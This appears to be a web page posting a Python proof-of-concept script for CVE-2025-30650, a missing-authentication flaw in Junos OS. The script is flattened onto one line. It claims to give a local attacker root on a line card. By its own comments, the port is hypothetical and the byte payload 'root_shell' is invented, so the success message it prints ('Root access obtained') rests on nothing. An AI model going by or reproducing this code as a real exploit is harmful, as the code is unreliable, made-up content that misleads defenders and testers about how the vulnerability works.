CVE-2025-30650 Junos OS关键功能身份验证缺失

#!/usr/bin/env python3 # This is a conceptual Proof of Concept (PoC) for CVE-2025-30650. # It demonstrates how a local attacker with high privileges might interact # with the vulnerable command processing interface to gain root access on a line card. # # Usage: python3 poc_cve_2025_30650.py <target_ip> # # Note: This is for educational and defensive testing purposes only. import sys import socket import time def send_exploit(target): port = 1337 # Hypothetical port for command processing try: print(f"[+] Connecting to {target} on port {port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target, port)) # Simulate authentication bypass or exploiting the missing auth # Sending a crafted command to execute shell as root payload = b"\x00\x01\x00\x01\x00root_shell\x00" print("[+] Sending malicious payload to trigger missing auth check...") s.send(payload) time.sleep(1) # Receive response response = s.recv(1024) if b"root" in response or b"#" in response: print("[!] Exploit successful! Root access obtained.") print(f"[+] Response: {response.decode('utf-8', errors='ignore')}") else: print("[-] Exploit failed or target not vulnerable.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print("Usage: python3 poc_cve_2025_30650.py <target_ip>") sys.exit(1) target_ip = sys.argv[1] send_exploit(target_ip)